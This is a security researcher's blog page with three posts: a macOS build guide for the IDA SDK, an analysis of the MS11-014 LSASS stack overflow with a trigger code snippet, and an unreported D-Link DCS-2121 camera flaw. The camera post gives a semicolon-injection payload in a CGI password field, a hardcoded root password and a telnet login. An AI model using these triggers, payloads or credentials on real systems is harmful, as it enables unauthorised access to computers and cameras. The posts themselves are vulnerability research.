Monday, May 05, 2014

Setting up IDA SDK 6.5 on Mac OS X 10.9 (Mavericks)

(This blog post is a wrap-up of the thread I started on Hex-Rays support forum)

Prerequisites



  • Mac OS X 10.9 (Mavericks)
  • IDA Pro 6.5
  • IDA SDK (downloadable from here -  the password should have been provided to you while purchasing IDA Pro)


$ md5 idasdk65.zip
MD5 (idasdk65.zip) = 4afa4c11ae8480f0753d5b2f87b61213


Note: if you would like to perform all the steps below within a virtual machine, it is perfectly legal to do so. Just use VMWare Fusion 6 to create a new virtual machine from the local recovery partition. The same trick should work with Parallel, but I did not test it.


Installing GCC from MacPorts



IDA SDK would only compile with 32-bit GCC.


Unfortunately, OS X 10.9 and XCode 5 do not provide GCC anymore, as Apple completely switched to LLVM (gcc command is only an alias). For the rest of this post, I will rely upon GCC 4.7 provided by MacPorts 2.2.1. Feel free to explore other options, such as HomeBrew. However, to download and build GCC from source, MacPorts requires a compiler! Therefore the proper installation order is:


1. Install Apple C(++) compiler


At this point, “full” XCode 5 install is required. XCode call be downloaded from the AppStore, or from Apple Developers site (the former requires a valid AppStore account, whereas the latter only requires free registration).


After install, do not forget to get command-line tools also:
$ xcode-select --install


… and to accept XCode EULA from command-line, in case you never started the GUI:
$ sudo xcodebuild -license


Confirm that LLVM has been properly installed:
$ gcc --version
Configured with: --prefix=/Library/Developer/CommandLineTools/usr --with-gxx-include-dir=/usr/include/c++/4.2.1
Apple LLVM version 5.1 (clang-503.0.40) (based on LLVM 3.4svn)
Target: x86_64-apple-darwin13.1.0
Thread model: posix


Confirm that SDK has been properly installed (and keep that path, you will need it later on):
$ xcrun --sdk macosx --show-sdk-path
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.9.sdk


Note: it is possible to install command-line tools only by simply typing gcc in a terminal, or to get them from Apple Developers. However, this will not install the OS 10.9 SDK required by IDA SDK later on.


2. Get MacPorts from www.macports.org (installer version 2.2.1 was the most recent available at the time of writing).


You might need to log out and in again to get /opt/local/bin in your PATH.


3. Install GCC from MacPorts.


You will need to get the 32-bit flavor of GCC. This can be achieved through several means:


$ port install gcc47 +i386
… will only install the 32-bit version of GCC


$ port install gcc47 +universal
… will install all archs specified in /opt/local/etc/macports/macports.conf


In any case, you can grab a coffee. Building GCC from source could take hours.


You might get the following warning if you did not install the “full” XCode suite. It seems that you can safely ignore for now, but remember that you will need OS 10.9 SDK later on anyway.
$ sudo port install gcc47 +universal
Warning: xcodebuild exists but failed to execute
Warning: Xcode does not appear to be installed; most ports will likely fail to build.
--->  Computing dependencies for gcc47
--->  Updating database of binaries: 100.0%
--->  Scanning binaries for linking errors: 100.0%
--->  No broken files found.


4. Do not forget to alias GCC to the MacPorts version.


$ port select --list gcc
Available versions for gcc:
mp-gcc47
none (active)


$ port select --set gcc mp-gcc47
Selecting 'mp-gcc47' for 'gcc' succeeded. 'mp-gcc47' is now active.


$ gcc --version
gcc (MacPorts gcc47 4.7.3_3+universal) 4.7.3
Copyright (C) 2012 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.


Setting up Qt



IDA SDK depends on Qt, version 4.8.4. Qt header files are required for compiling “graphical” plugins.


The “stock” Qt 4 source distribution will not build on Mac OS X 10.9:
util/qdeclarativefontloader.cpp:87:52: error: addition of default argument on redeclaration makes this constructor a default
     constructor
QDeclarativeFontObject::QDeclarativeFontObject(int _id = -1)


(Please note that compiling “stock” Qt requires LLVM - and not GNU GCC - to be the default gcc alias).


There is no hope of getting an official fix, as this OS version is unsupported:
../../include/QtCore/../../src/corelib/global/qglobal.h:331:6: warning: "This version of Mac OS X is unsupported" [-W#warnings]
#    warning "This version of Mac OS X is unsupported"


Therefore the best way to go is to install qt4-mac from MacPorts (do not use qt4-mac-devel, which is older and seemingly unmaintained). Note: at this point, you can grab a second coffee, as compiling Qt could also take hours.


At the time of writing qt4-mac is a port of Qt version 4.8.5 - close enough to do the job.


Installing qt4-mac is enough to get all the required headers, but will not produce Qt libraries that could replace those bundled with IDA, as those libraries were generated specifying a different namespace at compile time.


It should be possible to edit the Portfile and add the extra required option (-qtnamespace QT), but that would probably break all other Qt-dependent binaries in MacPorts - so I did not bother to explore that option.


At this point we end up in the error-prone-but-yet-working situation of having MacPorts Qt 4.8.5 (patched) headers in /opt/local and IDA prebuilt Qt 4.8.4 libraries in /Applications/IDA Pro/idaq.app/Contents/Frameworks


$ ls
QtCore.framework QtGui.framework QtHelp.framework QtNetwork.framework QtSql.framework QtXml.framework libQtCLucene.4.dylib


IDA SDK “makefiles” have hardcoded references to the following include paths:
-I../../include/
-I"/Users/Shared/Qt/4.8.4/include/QtCore"
-I"/Users/Shared/Qt/4.8.4/include/QtGui"
-I"/Users/Shared/Qt/4.8.4/include/QtXml"
-I"/Users/Shared/Qt/4.8.4/include"
-I.


You can choose to edit the makefiles. I chose the other way around: creating a lot of symlinks.


$ mkdir /Users/Shared/Qt/


$ mkdir /Users/Shared/Qt/4.8.4/


$ ln -s /opt/local/include/ /Users/Shared/Qt/4.8.4/include


Failure to symlink the include directory will result in the following error message at compile-time:
qwindow.cpp:10:19: fatal error: QWidget: No such file or directory
compilation terminated.


$ ln -s /opt/local/bin/ /Users/Shared/Qt/4.8.4/bin


Failure to symlink the bin directory will result in the following error message at compile-time:
/bin/sh: /Users/Shared/Qt/4.8.4/bin/moc: No such file or directory
make[2]: *** [obj/x86_mac_gcc_32/moc_myactions.o32] Error 127
make[1]: *** [qwindow] Error 1
make: *** [plugins] Error 1


$ ln -s /Applications/IDA\ Pro/idaq.app/Contents/Frameworks/ /Users/Shared/Qt/4.8.4/lib


Failure to symlink the lib directory will result in the following error message at compile-time:
g++: error: /Users/Shared/Qt/4.8.4/lib/QtXml.framework/QtXml: No such file or directory
g++: error: /Users/Shared/Qt/4.8.4/lib/QtGui.framework/QtGui: No such file or directory
g++: error: /Users/Shared/Qt/4.8.4/lib/QtCore.framework/QtCore: No such file or directory
make[2]: *** [../../bin/plugins/qwindow.pmc] Error 1
make[1]: *** [qwindow] Error 1
make: *** [plugins] Error 1


Grabbing IDA libraries



1. Unzip IDA SDK archive. For the rest of this post, I will assume it has been unzipped into its default location: ~/idasdk65


(Documentation sometimes refers to idasrc instead, but unfortunately we do not have a copy of this one :)


2. IDA author usually recommends putting a full copy of IDA under ~/idasdk65/bin


However, it is enough to copy or symlink the following library from IDA installation directory:
/Applications/IDA Pro/idaq.app/Contents/MacOS/libida.dylib


Failure to do so will result in the following error message at compile-time:
ld: library not found for -lida
collect2: error: ld returned 1 exit status


If you would like to compile 64-bit plugins, also grab the following library:
/Applications/IDA Pro/idaq.app/Contents/MacOS/libida64.dylib

Compiling



1. As stated in the documentation, export the following environment variables:


$ export __MAC__=1


$ export MACSDK=/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.9.sdk


Remember that path? You got it from:
$ xcrun --sdk macosx --show-sdk-path
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.9.sdk


2. Run the compilation script:


$ chmod 755 bin/idamake.pl


$ bin/idamake.pl


If the latter command did not return any error, you are all set!


Compiling a plugin



Let’s take findcrypt2 plugin as an example.


Compiling 32-bit Mac OS X version:


$ cd ~/idasdk65/plugins/findcrypt2


$ make


$ file ~/idasdk65/bin/plugins/findcrypt.pmc
~/Users/newsoft/idasdk65/bin/plugins/findcrypt.pmc: Mach-O dynamically linked shared library i386


Compiling 64-bit Mac OS X version:


$ export __EA64__=1


$ cd ~/idasdk65/plugins/findcrypt2


$ make


$ file ~/idasdk65/bin/plugins/findcrypt.pmc64
~/Users/newsoft/idasdk65/bin/plugins/findcrypt.pmc64: Mach-O dynamically linked shared library i386


I made both binaries are available for download [32-bit] [64-bit].


Note: IDA64 is actually a 32-bit application that handles 64-bit files - therefore plugins for IDA64 are also expected to be 32-bit libraries. Defining __X64__ at compile-time will actually build a full 64-bit library, but that should be useful for building debugger modules only.


Wrapping up



This documentation is provided in “worked for me” license.


I might provide limited support for this, but be sure to provide me with very detailed error messages. And please do not ask for “leaked” IDA or IDA SDK versions.

In the end, the whole process sounds really awkward. If anybody knows of a better solution to do it, feel free to share!

Tuesday, January 10, 2012

MS11-014: this is not the bug your are looking for …

Intro

It could be believed that patch management was an outdated topic for year 2011. However, I have still been asked by a client to challenge their internal patch management policy by delivering a working exploit faster than the XX-day period they waited before patch deployment (XX being somewhere between 10 and 99 - I love random figures like this ;).

This event occurred in February 2011. Having a look at the gorgeous monthly Microsoft release, we decided to target MS11-014 (“Vulnerability in Local Security Authority Subsystem Service Could Allow Local Elevation of Privilege ”), since local bugs are usually easier to exploit reliably.

As this story occurred one year ago, I assume that everybody had enough time to patch. And local exploits are not “wormable”, therefore releasing this information will not result in the end of Internet.

Patch analysis

The patch itself is piece of cake: only LSASRV.DLL has changed, and only 2 functions have changed within that DLL.

FMyPrimitiveHMACParam() only had a few extra NOPs added.

On the other hand, NegpMapLogonRequest() is an excellent candidate, for an extra size check has been added (as shown below in bold red) – sorry for providing unformatted Hex-Rays pseudo-code, I know it is lame ;)

signed int __stdcall NegpMapLogonRequest(char *a1, void *a2, unsigned int a3, struct _MSV1_0_INTERACTIVE_LOGON **a4) {
(…)
  if ( v6 > 0x100u || *(_WORD *)v5 > 0x100u
  || (v7 = *((_WORD *)a1 + 2), v7 > 0x1FEu) )
    return -1073741562;
(…)
}


a1 is not really a char* but rather a LSA_UNICODE_STRING, defined as such:

typedef struct _LSA_UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;


NegpMapLogonRequest() has two direct callers: NegpCloneLogonSession() and NegpIsLocalOrNetworkService(), which is in turn called from NegLogonUserEx2().

Those APIs are internal to LSASS, and are exposed to other processes through loosely documented LPC calls. The easiest way to trigger that piece of code from any process is to rely on the official LogonUserEx API.

Debugging LSASS

Debugging LSASS locally can be tricky, for it is a critical system process that is involved in the debugging subsystem itself. Do not expect to be able to attach OllyDbg and go away with it … The easiest way to do it seems to rely on the Kernel Debugger itself, which has also the ability to debug any userland process.

That being done, WinDbg confirms that our target function is indirectly called from LogonUserEx() indeed, plus the offending string is the user-supplied domain name

kd> kv
ChildEBP RetAddr
00acfc8c 757434c5 LSASRV!NegpMapLogonRequest
00acfcb4 75742e41 LSASRV!NegpIsLocalOrNetworkService+0x2f
00acfcf8 75742891 LSASRV!NegLogonUserEx2+0xaa
00acfe98 757422ae LSASRV!LsapAuApiDispatchLogonUser+0x33b
00acfeac 75739481 LSASRV!LpcLsaLogonUser+0x22
00acfec4 757393a5 LSASRV!DispatchAPI+0x46
00acff50 75738cfa LSASRV!LpcHandler+0x153
00acff74 75738dbe LSASRV!SpmPoolThreadBase+0xb9
00acffb4 7c80b729 LSASRV!LsapThreadBase+0x91
00acffec 00000000 kernel32!BaseThreadStart+0x37

Wait … does it mean that calling LogonUserEx() with a domain name over 0x200 characters is enough to trigger that bug ? Unfortunately not: because there is no bug … The logon triplet (username, domain, password) will be rejected as invalid – which it is.

Where is the meat?

There is still one missing piece in the puzzle: where is the bug? No vulnerable string copy is to be found anywhere within LSASRV.DLL. And providing an oversized domain name will not result in any crash.

At this point, there are two possible ways to go: one is hard work. The other is laziness efficiency. As Jorge Moura (from Primavera BSS) is credited for the discovery, I emailed him. Not only did he respond over the night, but he also provided me with a test vector. Which turns to be something like:

LogonUser(
  _T("SomeUsername"),
  (TCHAR*)domain,
  _T("SomePassword"),
  LOGON32_LOGON_NEW_CREDENTIALS, // defined as 9
  LOGON32_PROVIDER_DEFAULT, // defined as 0
  &hToken );
(…)
ImpersonateLoggedOnUser( hToken );
(…)
CreateFile(
 
_T(\\\\127.0.0.1\\c$\\boot.ini),
  GENERIC_READ,
  FILE_SHARE_READ|FILE_SHARE_WRITE,
  NULL, // security attributes
  OPEN_EXISTING,
  FILE_ATTRIBUTE_NORMAL,
  NULL
);


The trick is to specify the LOGON32_LOGON_NEW_CREDENTIALS flag, which has the following effect:

This logon type allows the caller to clone its current token and specify new credentials for outbound connections. The new logon session has the same local identifier but uses different credentials for other network connections.

In that case, new credentials are not immediately checked, but rather stored “as is” in memory for future use. And the crash occurs when the authentication package – namely MSV1_0.DLL – makes use of those new credentials.

Vulnerable function is SspMapContext() in which lies an unbounded, inlined memcpy(). Destination is the local function stack … What else? ;)

Exploitation details

Despite being a “classical”, size-unlimited, Unicode stack overflow, generic exploitation of this bug can be tricky on an up-to-date Windows XP SP3 target.

LSASS process and all Microsoft-provided DLLs that are loaded by default within that process benefit from PEB and stack randomization, are flagged as /NXCOMPAT and /SAFESEH. The offending function is itself protected by a stack cookie (as a result of /GS option). Exploitation is one-shot, since LSASS process death will notoriously result in a forced system reboot.

During that particular assignment, it turned out that Symantec (ex-Sygate) personal firewall also loads SYSFER.DLL (version 1.0.0 at that time – if it means something) into LSASS address space. As this DLL has been compiled without any security option, and given that Windows XP does not provide any ASLR for code mappings, this DLL has been used as a gadget provider for ROP-like exploitation. After some MIASM magic, all client boxes were reliably 0wn3d – thanks to Symantec security products being installed ;)

Outro (a.k.a. TL;DR)

In summary:
  • The effective bug has not been fixed. Any other API that would allow passing an oversized domain name to LSASS could result in triggering the very same bug within MSV1_0.
  • Leave figures to risk managers and top-level management only. It makes no sense trying to define metrics such as “days before public exploit”, when unqualified exploit writers can provide a reliable attack vector within 2 days – not to mention all the people who had access to this flaw before public release. And after one year, this issue is still marked as “no public exploit available” on Microsoft summary page.
  • According to the original discoverer, such a trivial bug (think: oversized domain name provided during user authentication) was found by accident during a software QA session.
  • According to Microsoft security bulletin, this bug only affects Windows XP and Windows 2003. It is assumed (without checking) that memcpy() has eventually been defined as dangerous and replaced as much as possible by memcpy_s(). Is Microsoft aware of the number of security issues it killed? Who knows …

Monday, September 27, 2010

D-Link DCS-2121 and the state of embedded security

Introduction

I recently bought a D-Link DCS-2121 surveillance camera. This is good stuff:
  • Megapixel camera + microphone + speaker
  • WiFi, UPnP and dynamic DNS supported
  • Web and Mobile Web access to streaming data
  • Motion detection
  • SDCard recording
It is also an embedded system running Linux operating system; therefore I decided to have a look at it ;) A firmware upgrade is available here (version 1.04 at the time of writing), which is very convenient for further analysis.

Firmware analysis

$ wget http://www.dlink.com.sg/support/Support_download.asp?idsupport=745
(...)

$ unzip dcs-2121_fw_1.04_3227.zip
Archive: dcs-2121_fw_1.04_3227.zip
inflating: DCS-2102_DCS-2121_A1_FW_1.04_3227.bin
inflating: DCS-2121_A1_Release Note_forFW1.04-3227.txt

$ file DCS-2102_DCS-2121_A1_FW_1.04_3227.bin
DCS-2102_DCS-2121_A1_FW_1.04_3227.bin: POSIX shell script text executable


Yes, firmware is … a shell script file! In fact, this file is broken into two parts:
  • A shell script
  • A binary blob

The shell script is very small - interesting parts are the following:

(...)
BLOCKS="norboot.bin(0x10000,65536),vmlinuz(0x60000,1048576),cram_image(0x160000,0x5E0000),autoboot.bin(0x2000,8192)"
(...)
extract() {
# tarLine will be replaced with a real number by Makefile
tail -n +153 "$1"
}
(...)
extract "$self" | ddPack - || exit 1
(...)

"ddPack" is a custom application. Nevertheless we gained some insights about memory layout, and we know that a CramFS filesystem is used.

CramFS "magic" bytes are 0x28cd3d45 - they are very easy to locate within the firmware (beware of endianness). Actual offset may vary - depending of the firmware localization (D-Link provides regional builds of the same version).

$ dd if=DCS-2102_DCS-2121_A1_FW_1.04_3227.bin of=cramfs bs=1138213 skip=1
5+1 records in
5+1 records out
6168576 bytes (6.2 MB) copied, 0.0210627 s, 293 MB/s


$ file cramfs
cramfs: Linux Compressed ROM File System data, little endian size 5791744 version #2 sorted_dirs CRC 0x70c14953, edition 0, 3603 blocks, 1199 files


$ sudo mount -o loop,ro cramfs /mnt/loop/
ls /mnt/loop/
bin  dev  etc  lib  linuxrc  mnt  opt  proc  sbin  scripts  tmp  usr  var

We now have full read access to the firmware, which leads to interesting discoveries. According to copyright strings, the camera itself is built around the Prolific PL-1029 "System On a Chip". Many CGI files under "/var/www" are calling eval() with user-supplied parameters. There is also a promising "/var/www/cgi/admin/telnetd.cgi" script :)

#!/bin/sh


# get current setting from tdb
# format looks like VariableName_type
onGetSetting() {
        result=""
}


# make sure, ...
# 1. $result is set
# 2. variables in dumpXml are all set
onUpdateSetting() {
        result="ok"
        if [ "$command" = "on" ]; then
            /usr/sbin/telnetd 1>/dev/null 2>/dev/null
        else
            killall telnetd 1>/dev/null 2>/dev/null
        fi
}


onDumpXml() {
        xmlBegin index.xsl home-left.lang index.lang
        resultTag $result
        xmlEnd
}


scenario=$(basename $0 | cut -d'.' -f1)


. ../../xmlFunctions.sh
. ../../cgiMain.sh

However we are going to focus on a very specific bug: "semicolon injection". In my experience, this bug plagues all and every Linux-based embedded devices, ranging from the OrangeBox (now dead link) to DD-WRT. Let's look for compiled CGI that might be calling system().

var/www/cgi/admin$ fgrep system *
Binary file adv_audiovideo.cgi matches
Binary file adv_godev.cgi matches
Binary file adv_sdcard.cgi matches
Binary file calibration.cgi matches
Binary file export.cgi matches
Binary file go_sleep.cgi matches
Binary file import.cgi matches
Binary file netWizard.cgi matches
Binary file pt8051_settings.cgi matches
Binary file pt_settings.cgi matches
Binary file reboot.cgi matches
Binary file recorder_status.cgi matches
Binary file recorder_test.cgi matches
Binary file reset.cgi matches
Binary file rs485_control.cgi matches
Binary file tools_admin.cgi matches
Binary file tools_system.cgi matches
Binary file wireless_ate.cgi matches

Let's focus on those files, and look for possibly unsecure calls.

$ strings -f * | grep "%s"
adv_godev.cgi: TinyDBError %s
adv_sdcard.cgi: rm -rf "%s"
adv_sdcard.cgi: %s/video
adv_sdcard.cgi: mkdir -m 0777  %s/video
adv_sdcard.cgi: find "%s" -type f -name "*" |wc -l
pt_settings.cgi: TinyDBError %s
recorder_test.cgi: TinyDBError %s
recorder_test.cgi: umount %s
recorder_test.cgi: mkdir -p %s
recorder_test.cgi: smbmount //%s/%s %s -o username=%s,password=%s
recorder_test.cgi: touch %s
rs485_control.cgi: TinyDBError %s
rs485_control.cgi: RS485PresetControl::%s(), unexpected command

So … "recorder_test.cgi" potentially calls system("smbmount //%s/%s %s -o username=%s,password=%s") … Let's see if "password" parameter is properly escaped.

Try #1 with password "toto". Command result is "mntFailure".
Try #2 with password "toto;/bin/true". Command result is "ok" :)

It is now time to start that "/usr/sbin/telnetd" server :) But wait ... what is "root" password ?

"/etc/passwd" and "/etc/shadow" are symbolic links to "/tmp/passwd" and "/tmp/shadow". Those files are created at boot time by "/etc/rc.d/rc.local" script.

(...)

start() {
touch /tmp/group /tmp/passwd /tmp/shadow
echo 'root:x:0:' > /etc/group
echo 'root:x:0:0:Linux User,,,:/:/bin/sh' > /etc/passwd
echo 'root:$1$gmEGnzIX$bFqGa1xIsjGupHyfeHXWR/:20:0:99999:7:::' > /etc/shadow
#telnetd > /dev/null 2> /dev/null
/bin/agent &
#/sbin/syslogd
addlog System is booted up.
echo "rc.local start ok."
}
(...)

So ... "root" password is hardcoded to "admin". How cool is that ? ;)

$ telnet 192.168.0.117 23

DCS-2121 login: root
Password: admin

BusyBox v1.01 (2009.07.27-09:19+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # uname -a
uname -a
Linux DCS-2121 2.4.19-pl1029 #1 Mon Jul 27 17:21:05 CST 2009 armv4l unknown


Conclusion

As often with Linux-based embedded firmwares, a trivial "semicolon injection" bug can be found with no reverse-engineering - grep is the only tool you need to reproduce this case at home.

Disclaimer (for not-so-funny people): yes this is "0day", unreported to the vendor. I even suspect the whole D-Link product line is vulnerable to the same bug (if not the whole world of low-end embedded systems (and even business class products)). However, since Web access requires authentication, this bug might be exploitable by administrators only, so it is only useful for people who would like to gain a shell on their own systems. Do not panic :)


Bonus: how to find D-Link cameras on the Internet.